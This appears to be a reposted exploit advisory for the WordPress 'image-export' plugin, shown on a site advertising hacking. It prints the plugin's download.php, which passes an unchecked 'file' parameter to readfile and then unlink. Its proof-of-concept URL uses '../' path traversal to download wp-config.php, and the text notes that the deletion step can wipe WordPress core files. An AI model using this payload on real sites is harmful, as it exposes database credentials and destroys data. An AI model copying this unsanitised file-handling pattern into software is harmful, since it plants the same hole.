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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
# Exploit Title: Wordpress image-export LFD
# Date: 03/21/2016
# Exploit Author: AMAR^SHG
# Vendor Homepage: http://www.1efthander.com
# Software Link:
http://www.1efthander.com/category/wordpress-plugins/image-export
# Version: Everything is affected including latest (1.1.0 )
# Tested on: Windows/Unix on localhost

download.php file code:

<?php
if ( isset( $_REQUEST['file'] ) && !empty( $_REQUEST['file'] ) ) {
	$file = $_GET['file'];

	header( 'Content-Type: application/zip' );
	header( 'Content-Disposition: attachment; filename="' . $file . '"' );
	readfile( $file );
	unlink( $file );
	
	exit;
}
?>

Proof of concept:

Note that because of the unlink, we potentially can destroy the wordpress core.

Simply add the get parameter file:

localhost/wp/wp-content/plugins/image-export/download.php?file=../../../wp-config.php

Found by AMAR^SHG (Shkupi Hackers Group)